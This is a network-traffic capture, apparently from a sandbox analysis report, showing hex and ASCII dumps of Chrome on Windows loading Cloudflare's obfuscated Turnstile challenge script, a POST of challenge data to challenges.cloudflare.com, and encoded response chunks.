2024-11-21 13:44:40 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 48 50 55 62 6a 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.HPUbj2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 Data Ascii: urity%20challenge","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.c
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 31 31 32 33 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 35 36 34 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 38 30 31 29 29 2f 38 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 31 32 31 36 29 29 2f 39 29 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 35 34 38 29 29 2f 31 30 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 36 36 33 29 29 2f 31 31 2a 28 70 61 72 73 65 49 6e 74 28 67 4b 28 36 38 32 29 29 2f 31 32 29 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 36 38 35 39 31 34 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 39 39 36 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e Data Ascii: 1123))/6(parseInt(gK(564))/7)+-parseInt(gK(801))/8(parseInt(gK(1216))/9)+parseInt(gK(548))/10+parseInt(gK(1663))/11*(parseInt(gK(682))/12),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,685914),eM=this\|\|self,eN=eM[gL(996)],eO=function
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4d 41 57 63 79 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 56 65 76 7a 4f 27 3a 67 4d 28 31 38 31 36 29 2c 27 67 51 59 53 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 69 77 65 62 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 6f 64 43 6e 64 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 69 7d 2c 27 6a 49 6b 4f 41 27 3a 67 4d 28 38 32 31 29 2c 27 4d 64 6a 47 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 64 66 46 61 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 Data Ascii: h,i){return h-i},'MAWcy':function(h,i){return h(i)},'VevzO':gM(1816),'gQYSj':function(h,i){return h(i)},'iwebO':function(h,i){return h>i},'odCnd':function(h,i){return h!=i},'jIkOA':gM(821),'MdjGi':function(h,i){return i==h},'dfFal':function(h,i){return h(
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 2c 27 51 79 68 77 71 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 67 59 29 7b 72 65 74 75 72 6e 20 67 59 3d 67 50 2c 64 5b 67 59 28 35 38 38 29 5d 28 4f 2c 50 29 7d 7d 2c 64 5b 67 50 28 38 32 39 29 5d 28 67 50 28 31 34 38 34 29 2c 64 5b 67 50 28 31 31 30 35 29 5d 29 29 72 65 74 75 72 6e 7b 27 74 68 65 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 50 29 7b 72 65 74 75 72 6e 20 50 28 47 29 7d 7d 3b 65 6c 73 65 7b 69 66 28 69 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 42 3d 7b 7d 2c 43 3d 7b 7d 2c 44 3d 27 27 2c 45 3d 32 2c 46 3d 33 2c 47 3d 32 2c 48 3d 5b 5d 2c 49 3d 30 2c 4a 3d 30 2c 4b 3d 30 3b 64 5b 67 50 28 37 36 35 29 5d 28 4b 2c 69 5b 67 50 28 31 32 39 33 29 5d 29 3b 4b 2b 3d 31 29 69 66 28 64 5b 67 50 28 37 39 37 29 5d 21 3d 3d 67 50 28 38 30 Data Ascii: ,'Qyhwq':function(O,P,gY){return gY=gP,d[gY(588)](O,P)}},d[gP(829)](gP(1484),d[gP(1105)]))return{'then':function(P){return P(G)}};else{if(i==null)return'';for(B={},C={},D='',E=2,F=3,G=2,H=[],I=0,J=0,K=0;d[gP(765)](K,i[gP(1293)]);K+=1)if(d[gP(797)]!==gP(80
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 73 2e 68 5b 74 68 69 73 2e 67 5e 31 35 30 5d 5b 33 5d 5e 73 5b 67 50 28 38 34 38 29 5d 28 74 68 69 73 2e 68 5b 73 5b 67 50 28 36 35 37 29 5d 28 31 35 30 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 67 50 28 31 35 37 32 29 5d 28 74 68 69 73 2e 68 5b 73 5b 67 50 28 31 33 36 31 29 5d 28 31 35 30 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2d 39 33 2c 32 35 36 29 26 32 35 35 2e 31 31 2c 38 29 29 7c 73 5b 67 50 28 31 38 30 37 29 5d 28 74 68 69 73 2e 68 5b 73 5b 67 50 28 31 33 36 31 29 5d 28 31 35 30 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 2c 73 5b 67 50 28 38 34 38 29 5d 28 74 68 69 73 2e 68 5b 73 5b 67 50 28 31 33 36 31 29 5d 28 31 35 30 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 67 50 28 31 35 37 32 29 5d 28 74 68 69 73 2e 68 5b 73 5b 67 50 28 31 36 35 34 29 5d 28 31 35 Data Ascii: s.h[this.g^150][3]^s[gP(848)](this.h[s[gP(657)](150,this.g)][1][gP(1572)](this.h[s[gP(1361)](150,this.g)][0]++)-93,256)&255.11,8))\|s[gP(1807)](this.h[s[gP(1361)](150,this.g)][3],s[gP(848)](this.h[s[gP(1361)](150,this.g)][1][gP(1572)](this.h[s[gP(1654)](15
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 5b 67 50 28 34 39 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 45 2d 2d 2c 45 3d 3d 30 26 26 47 2b 2b 7d 66 6f 72 28 4e 3d 32 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 67 50 28 38 31 36 29 5d 28 64 5b 67 50 28 36 34 36 29 5d 28 49 2c 31 29 2c 31 26 4e 29 2c 4a 3d 3d 64 5b 67 50 28 38 37 33 29 5d 28 6a 2c 31 29 3f 28 4a 3d 30 2c 48 5b 67 50 28 34 39 35 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 4e 3e 3e 3d 31 2c 78 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 49 3c 3c 3d 31 2c 6a 2d 31 3d 3d 4a 29 7b 48 5b 67 50 28 34 39 35 29 5d 28 64 5b 67 50 28 31 37 35 37 29 5d 28 6f 2c 49 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 4a 2b 2b 3b 72 65 74 75 72 6e 20 48 5b 67 50 28 34 32 31 29 5d 28 27 27 29 7d 7d 2c 27 6a Data Ascii: [gP(495)](o(I)),I=0):J++,N>>=1,x++);E--,E==0&&G++}for(N=2,x=0;x<G;I=d[gP(816)](d[gP(646)](I,1),1&N),J==d[gP(873)](j,1)?(J=0,H[gP(495)](o(I)),I=0):J++,N>>=1,x++);for(;;)if(I<<=1,j-1==J){H[gP(495)](d[gP(1757)](o,I));break}else J++;return H[gP(421)]('')}},'j
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 3b 3b 29 7b 69 66 28 4c 3e 6a 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 68 31 28 31 37 35 32 29 5d 28 32 2c 46 29 2c 49 3d 31 3b 4e 21 3d 49 3b 51 3d 4a 26 4b 2c 4b 3e 3e 3d 31 2c 64 5b 68 31 28 31 30 35 33 29 5d 28 30 2c 4b 29 26 26 28 4b 3d 6f 2c 4a 3d 73 28 4c 2b 2b 29 29 2c 4d 7c 3d 64 5b 68 31 28 37 38 39 29 5d 28 30 3c 51 3f 31 3a 30 2c 49 29 2c 49 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 52 3d 4d 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4d 3d 30 2c 4e 3d 4d 61 74 68 5b 68 31 28 31 37 35 32 29 5d 28 32 2c 38 29 2c 49 3d 31 3b 64 5b 68 31 28 31 33 34 30 29 5d 28 49 2c 4e 29 3b 51 3d 4a 26 4b 2c 4b 3e 3e 3d 31 2c 64 5b 68 31 28 37 39 33 29 5d 28 30 2c 4b 29 26 26 28 4b 3d 6f 2c 4a 3d 64 5b 68 31 28 32 39 35 29 5d 28 73 2c Data Ascii: ;;){if(L>j)return'';for(M=0,N=Math[h1(1752)](2,F),I=1;N!=I;Q=J&K,K>>=1,d[h1(1053)](0,K)&&(K=o,J=s(L++)),M\|=d[h1(789)](0<Q?1:0,I),I<<=1);switch(R=M){case 0:for(M=0,N=Math[h1(1752)](2,8),I=1;d[h1(1340)](I,N);Q=J&K,K>>=1,d[h1(793)](0,K)&&(K=o,J=d[h1(295)](s,
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 32 35 35 29 29 29 3b 72 65 74 75 72 6e 20 6b 5b 68 7a 28 34 32 31 29 5d 28 27 27 29 7d 2c 65 4d 5b 67 4c 28 31 31 31 31 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 4c 28 31 30 35 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 54 29 7b 69 66 28 68 54 3d 67 4c 2c 65 4d 5b 68 54 28 31 31 31 31 29 5d 29 72 65 74 75 72 6e 3b 65 4d 5b 68 54 28 31 31 31 31 29 5d 3d 21 21 5b 5d 7d 2c 66 70 3d 30 2c 65 4e 5b 67 4c 28 35 34 34 29 5d 3d 3d 3d 67 4c 28 31 32 30 36 29 3f 65 4e 5b 67 4c 28 31 31 36 32 29 5d 28 67 4c 28 31 30 33 35 29 2c 66 75 6e 63 74 69 6f 6e 28 69 62 2c 63 29 7b 69 62 3d 67 4c 2c 63 3d 7b 27 59 59 66 5a 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 66 29 7d 7d 2c 63 5b 69 62 28 31 38 31 31 29 5d 28 73 65 74 54 69 6d 65 6f Data Ascii: 255)));return k[hz(421)]('')},eM[gL(1111)]=![],eM[gL(1054)]=function(hT){if(hT=gL,eM[hT(1111)])return;eM[hT(1111)]=!![]},fp=0,eN[gL(544)]===gL(1206)?eN[gL(1162)](gL(1035),function(ib,c){ib=gL,c={'YYfZZ':function(d,e,f){return d(e,f)}},c[ib(1811)](setTimeo
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 28 37 32 33 29 5d 5b 69 65 28 31 32 33 37 29 5d 2c 6e 3d 7b 7d 2c 6e 5b 69 65 28 33 38 31 29 5d 3d 65 4d 5b 69 65 28 37 32 33 29 5d 5b 69 65 28 33 38 31 29 5d 2c 6e 5b 69 65 28 33 36 31 29 5d 3d 65 4d 5b 69 65 28 37 32 33 29 5d 5b 69 65 28 33 36 31 29 5d 2c 6e 5b 69 65 28 31 33 31 34 29 5d 3d 65 4d 5b 69 65 28 37 32 33 29 5d 5b 69 65 28 31 33 31 34 29 5d 2c 6e 5b 69 65 28 33 32 37 29 5d 3d 65 4d 5b 69 65 28 37 32 33 29 5d 5b 69 65 28 31 35 32 38 29 5d 2c 6f 3d 6e 2c 73 3d 6e 65 77 20 65 4d 5b 28 69 65 28 37 35 33 29 29 5d 28 29 2c 21 73 29 72 65 74 75 72 6e 3b 78 3d 69 65 28 31 32 31 35 29 2c 73 5b 69 65 28 33 33 33 29 5d 28 78 2c 6d 2c 21 21 5b 5d 29 2c 73 5b 69 65 28 31 33 33 35 29 5d 3d 32 35 30 30 2c 73 5b 69 65 28 39 32 38 29 5d 3d 66 75 6e 63 74 69 Data Ascii: (723)][ie(1237)],n={},n[ie(381)]=eM[ie(723)][ie(381)],n[ie(361)]=eM[ie(723)][ie(361)],n[ie(1314)]=eM[ie(723)][ie(1314)],n[ie(327)]=eM[ie(723)][ie(1528)],o=n,s=new eM[(ie(753))](),!s)return;x=ie(1215),s[ie(333)](x,m,!![]),s[ie(1335)]=2500,s[ie(928)]=functi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49738	104.18.94.41	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:44:40 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3274 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/b7vhb/0x4AAAAAAA0I-nPFyuQ7OkeQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:44:40 UTC	3274	OUT	Data Raw: 76 5f 38 65 36 31 31 64 38 39 65 62 61 61 34 33 63 66 3d 65 74 76 71 38 71 6e 71 63 71 54 71 56 71 36 64 47 55 64 47 38 68 75 38 75 37 66 30 75 66 47 75 68 32 37 4f 74 59 47 70 32 47 33 68 33 4f 58 76 75 4b 33 32 53 43 6e 47 4f 46 25 32 62 71 47 38 50 6f 49 47 58 39 59 75 35 47 54 68 66 37 6c 43 34 47 66 49 47 4e 59 75 70 6e 33 47 68 38 47 30 75 47 32 5a 56 7a 48 59 75 38 4b 47 66 39 73 68 47 2b 71 32 39 47 31 71 59 63 37 49 44 4a 73 75 37 48 33 30 31 4f 48 66 47 53 71 36 56 72 47 63 6a 47 47 33 43 41 39 24 77 47 63 47 71 47 44 44 66 6d 62 75 52 32 32 4c 6b 6d 24 41 48 33 24 63 64 75 55 47 32 58 37 71 66 51 69 78 34 59 47 55 46 49 47 49 68 75 36 55 76 47 34 38 59 59 47 70 72 51 76 44 59 75 50 47 63 33 77 47 32 6b 7a 64 51 37 47 66 59 75 2b 6c 73 75 77 51 Data Ascii: v_8e611d89ebaa43cf=etvq8qnqcqTqVq6dGUdG8hu8u7f0ufGuh27OtYGp2G3h3OXvuK32SCnGOF%2bqG8PoIGX9Yu5GThf7lC4GfIGNYupn3Gh8G0uG2ZVzHYu8KGf9shG+q29G1qYc7IDJsu7H301OHfGSq6VrGcjGG3CA9$wGcGqGDDfmbuR22Lkm$AH3$cduUG2X7qfQix4YGUFIGIhu6UvG48YYGprQvDYuPGc3wG2kzdQ7GfYu+lsuwQ
2024-11-21 13:44:40 UTC	747	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:44:40 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149836 Connection: close cf-chl-gen: JOUTdaJxJzbT6CETwsi6yz2v2vTLyL+FcZjvl/3aqqBPvJ5f/Q06VxCql++HQxqc9Td+jCnitYg4VwCB/k2NpWU7dXGwKSJsHyxc7q/H4HvuPlsa5kfmHJQrAmLZRUliC2OKm6hiAStgB1rBAYx6QmlkcHKyRZ8iSNCb+RtOXwXI8GV+y/NJOuo7d6NqOanZ4fkenxFaUzHuC0gQ8aYtseYr4OxQjKbuaippvT33JUL1aVBw1VQAcsVs/YL9zbRLJUl1/XGramyPMQ5BRo+VFmXakbTqc6Wo/rUGhM+EQRf5WW8ytpX3hsmjNfyFYxb9dYoCuSTPtH6GRjHNrQiWIDrIN+XfG5MO4RQU0lUgz+4N4avxNd7beQkvBiWmZl8T0va8K1jQy5Id6rskzW8eoS+6MsPB/CmVlU+KAuVmiqJaQNcfQWV/LqEDlalLgDGFDnyzHY1wZATTD7PxuDh8yXtmIvfIb5V7R3xW1NfU4frY/sc=$SpGTDt/72B7//Sqz Server: cloudflare CF-RAY: 8e611da33fc041ac-EWR alt-svc: h3=":443"; ma=86400
2024-11-21 13:44:40 UTC	622	IN	Data Raw: 6c 4c 79 52 6b 4c 6d 68 6e 48 36 76 6f 38 62 45 79 4b 61 6b 79 63 65 76 67 62 6a 49 6f 38 66 54 7a 63 61 68 77 73 79 53 78 74 4b 30 75 39 47 53 72 36 2b 32 34 63 36 79 7a 38 6e 56 70 65 66 4a 36 63 37 41 77 76 4c 49 7a 38 2f 49 39 66 57 7a 79 65 6a 37 30 50 54 76 76 2f 66 67 7a 39 76 79 35 66 77 43 33 4e 63 48 31 76 6a 4d 2b 52 45 51 79 2b 67 42 41 39 4c 49 36 66 62 6b 34 78 33 6c 32 77 73 5a 36 64 38 51 46 64 73 6b 46 50 59 58 34 77 48 39 43 76 6a 34 47 51 7a 77 38 65 30 4f 4b 75 67 4b 47 51 55 46 4c 54 6a 38 4c 42 4d 73 41 54 41 66 50 69 51 39 4a 43 4d 57 4e 6b 59 39 48 44 30 36 54 44 31 45 4c 52 51 73 53 7a 45 6e 46 7a 6f 31 4b 46 41 2f 59 44 4a 56 57 6c 41 35 58 54 67 79 51 46 6c 4b 59 7a 78 58 53 6b 30 6f 4b 45 5a 74 59 32 56 76 63 30 64 6f 63 48 6c Data Ascii: lLyRkLmhnH6vo8bEyKakycevgbjIo8fTzcahwsySxtK0u9GSr6+24c6yz8nVpefJ6c7AwvLIz8/I9fWzyej70PTvv/fgz9vy5fwC3NcH1vjM+REQy+gBA9LI6fbk4x3l2wsZ6d8QFdskFPYX4wH9Cvj4GQzw8e0OKugKGQUFLTj8LBMsATAfPiQ9JCMWNkY9HD06TD1ELRQsSzEnFzo1KFA/YDJVWlA5XTgyQFlKYzxXSk0oKEZtY2Vvc0docHl
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 64 53 58 49 4a 6d 59 48 5a 79 64 59 70 52 56 35 32 48 69 48 2b 51 6e 34 4b 57 58 61 57 51 64 71 53 42 69 6e 70 2b 59 4b 43 59 66 61 4f 67 72 4b 6d 75 69 6f 74 30 73 6e 61 36 6e 71 6d 32 6e 4a 36 58 6a 72 79 66 78 72 4b 6f 6f 72 4e 39 69 70 69 47 77 63 2b 77 73 37 43 78 76 73 50 47 78 70 57 56 70 72 47 50 79 37 6a 51 72 4a 6d 64 75 70 66 67 72 37 69 2f 34 71 57 32 33 65 72 41 70 37 7a 4d 75 37 79 75 73 63 6a 73 39 74 54 7a 74 37 50 6f 30 2f 4c 66 77 74 4c 65 77 39 6a 39 38 4e 7a 66 36 51 48 66 35 39 72 61 38 41 2f 4e 36 2b 51 55 41 38 38 59 41 78 6f 50 42 2f 59 4b 43 2b 38 57 39 76 77 5a 49 65 4d 4b 48 2f 6f 4a 44 43 4d 6b 47 78 6f 6d 4a 67 6b 51 4b 43 6b 7a 46 43 77 73 4e 78 67 77 4c 7a 73 63 4e 44 49 2f 49 44 68 45 51 79 51 38 52 30 63 6f 51 45 70 44 52 Data Ascii: dSXIJmYHZydYpRV52HiH+Qn4KWXaWQdqSBinp+YKCYfaOgrKmuiot0sna6nqm2nJ6XjryfxrKoorN9ipiGwc+ws7CxvsPGxpWVprGPy7jQrJmdupfgr7i/4qW23erAp7zMu7yuscjs9tTzt7Po0/LfwtLew9j98Nzf6QHf59ra8A/N6+QUA88YAxoPB/YKC+8W9vwZIeMKH/oJDCMkGxomJgkQKCkzFCwsNxgwLzscNDI/IDhEQyQ8R0coQEpDR
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 58 63 58 70 6d 6a 4a 4f 64 66 6e 4f 4f 65 49 39 62 64 48 4f 5a 6e 5a 61 71 69 35 52 37 62 49 71 4d 6f 37 4b 71 6a 61 68 2f 62 35 65 75 74 36 61 6c 73 62 71 55 6d 37 4f 39 74 72 71 68 74 33 6d 6a 6c 70 62 4a 75 4b 32 35 6a 4b 32 2b 6a 4b 6d 73 7a 71 44 43 73 72 44 57 6d 62 33 63 6c 37 61 34 31 72 44 43 76 74 4c 61 33 4e 54 58 33 72 72 4b 79 2b 4b 2b 7a 74 6e 6d 77 74 4c 4c 36 73 62 57 79 4c 66 71 31 74 72 2b 33 73 72 78 7a 4f 2f 63 33 76 62 64 2b 74 76 36 78 4f 44 73 39 76 37 70 35 65 6e 66 34 41 33 75 36 78 4d 48 47 78 59 4e 48 4f 30 67 33 77 37 69 34 4f 51 56 35 43 50 67 48 50 59 74 41 43 34 44 36 77 2f 72 43 78 55 54 42 79 51 76 4d 52 6f 7a 4e 77 77 39 4d 43 45 31 51 45 41 73 49 42 51 47 4e 6a 70 44 48 77 63 57 43 55 67 65 51 68 34 4c 4a 6c 51 69 55 79 Data Ascii: XcXpmjJOdfnOOeI9bdHOZnZaqi5R7bIqMo7Kqjah/b5eut6alsbqUm7O9trqht3mjlpbJuK25jK2+jKmszqDCsrDWmb3cl7a41rDCvtLa3NTX3rrKy+K+ztnmwtLL6sbWyLfq1tr+3srxzO/c3vbd+tv6xODs9v7p5enf4A3u6xMHGxYNHO0g3w7i4OQV5CPgHPYtAC4D6w/rCxUTByQvMRozNww9MCE1QEAsIBQGNjpDHwcWCUgeQh4LJlQiUy
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 64 48 75 54 6b 5a 35 2f 6c 36 4f 69 67 35 75 6d 70 6f 65 66 71 61 4b 6d 6a 61 4e 6c 6a 34 4b 43 74 61 53 5a 70 58 69 5a 71 4a 78 31 6e 48 36 51 66 61 7a 41 75 72 79 30 78 37 36 61 71 73 48 43 6e 71 36 39 78 71 4b 79 78 71 43 66 70 71 65 35 30 63 75 70 79 63 43 35 7a 5a 76 69 72 4e 2f 62 78 4f 6a 45 34 75 58 64 78 2b 6a 66 75 2b 7a 54 79 76 57 78 30 2b 50 50 75 4e 72 77 37 2f 7a 33 75 4e 44 63 39 4f 54 67 30 4c 37 48 31 4e 47 38 39 67 50 46 41 2b 67 4b 42 39 72 67 34 75 6a 54 38 4f 62 51 30 76 51 63 44 52 45 59 46 77 34 42 33 2b 34 6c 4a 78 30 5a 4b 50 6e 70 41 43 63 71 4d 51 67 50 38 43 67 47 38 52 67 5a 4a 43 6f 48 39 77 6a 36 4b 68 30 7a 48 53 30 77 2b 76 78 46 4e 79 67 44 47 53 41 2f 4e 30 63 34 54 45 64 53 52 46 49 50 54 67 38 31 4e 7a 77 6e 47 54 30 Data Ascii: dHuTkZ5/l6Oig5umpoefqaKmjaNlj4KCtaSZpXiZqJx1nH6QfazAury0x76aqsHCnq69xqKyxqCfpqe50cupycC5zZvirN/bxOjE4uXdx+jfu+zTyvWx0+PPuNrw7/z3uNDc9OTg0L7H1NG89gPFA+gKB9rg4ujT8ObQ0vQcDREYFw4B3+4lJx0ZKPnpACcqMQgP8CgG8RgZJCoH9wj6Kh0zHS0w+vxFNygDGSA/N0c4TEdSRFIPTg81NzwnGT0
2024-11-21 13:44:40 UTC	1369	IN	Data Raw: 70 78 6d 6f 36 43 6f 64 36 69 5a 6f 34 79 77 6a 4c 4b 79 73 36 53 6f 72 33 47 78 6a 58 69 71 6a 36 79 35 69 48 69 57 70 4c 4f 74 6e 4a 36 78 6f 4d 4c 43 79 38 75 74 68 34 37 4b 78 74 48 4e 79 61 7a 4b 71 39 71 58 71 36 53 2b 32 37 48 5a 31 71 32 30 33 74 37 61 73 62 36 6d 70 2b 72 74 37 4b 6a 6d 77 65 33 69 35 39 7a 31 37 50 62 33 78 63 33 30 31 4c 72 65 33 76 4c 36 39 77 58 6c 37 75 4c 65 32 4e 76 79 31 74 7a 68 41 74 37 77 42 42 4c 50 44 51 67 50 38 73 34 5a 37 77 34 63 2b 65 62 7a 36 41 38 42 2f 65 37 34 2b 42 6e 6c 2b 41 6a 30 43 51 45 4c 36 52 6b 62 37 52 4d 57 38 6a 41 47 41 52 63 73 39 78 67 7a 39 76 31 41 4c 30 4d 5a 50 2f 73 36 50 51 6c 4a 52 55 5a 44 52 79 77 68 4a 31 45 4c 4e 53 64 55 54 7a 67 32 57 54 68 48 57 53 38 39 53 55 4a 4f 48 52 38 2b Data Ascii: pxmo6Cod6iZo4ywjLKys6Sor3GxjXiqj6y5iHiWpLOtnJ6xoMLCy8uth47KxtHNyazKq9qXq6S+27HZ1q203t7asb6mp+rt7Kjmwe3i59z17Pb3xc301Lre3vL69wXl7uLe2Nvy1tzhAt7wBBLPDQgP8s4Z7w4c+ebz6A8B/e74+Bnl+Aj0CQEL6Rkb7RMW8jAGARcs9xgz9v1AL0MZP/s6PQlJRUZDRywhJ1ELNSdUTzg2WThHWS89SUJOHR8+
